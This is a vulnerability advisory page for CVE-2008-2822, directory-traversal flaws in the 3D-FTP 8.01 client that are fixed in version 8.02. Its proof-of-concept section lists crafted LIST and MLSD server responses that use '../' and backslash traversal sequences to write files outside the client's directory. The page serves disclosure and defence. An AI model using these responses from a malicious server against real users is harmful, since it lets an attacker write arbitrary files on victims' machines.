3D-FTP 'LIST' and 'MLSD' Directory Traversal Vulnerabilities

BID:29749

Info

3D-FTP 'LIST' and 'MLSD' Directory Traversal Vulnerabilities

Bugtraq ID: 29749
Class: Input Validation Error
CVE: CVE-2008-2822
Remote: Yes
Local: No
Published: Jun 16 2008 12:00AM
Updated: May 07 2015 05:28PM
Credit: Tan Chew Keong
Vulnerable: 3D-FTP 3D-FTP 8.01
Not Vulnerable: 3D-FTP 3D-FTP 8.02

Discussion

3D-FTP 'LIST' and 'MLSD' Directory Traversal Vulnerabilities

3D-FTP is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues allows an attacker to write arbitrary files to locations outside of the FTP client's current directory. This could help the attacker launch further attacks.

3D-FTP 8.01 is vulnerable; other versions may also be affected.

Exploit / POC

3D-FTP 'LIST' and 'MLSD' Directory Traversal Vulnerabilities

Attackers can exploit this issue by enticing an unsuspecting user to connect to a maliciously crafted FTP server.

The following example responses are available:
Response to LIST (backslash):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 \..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to LIST (forward-slash):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 /../../../../../../../../../testfile.txt\r\n

Response to LIST (combination):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n

Response to MLSD (backslash):
type=file;modify=20080227074710;size=20; \..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to MLSD (forward-slash):
type=file;modify=20080227074710;size=20; /../../../../../../../../../testfile.txt\r\n

Response to MLSD (combination):
type=file;modify=20080227074710;size=20; ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n

Solution / Fix

3D-FTP 'LIST' and 'MLSD' Directory Traversal Vulnerabilities

Solution:
The vendor released 3D-FTP 8.02 to address these issues. Please contact the vendor for details.

References

3D-FTP 'LIST' and 'MLSD' Directory Traversal Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report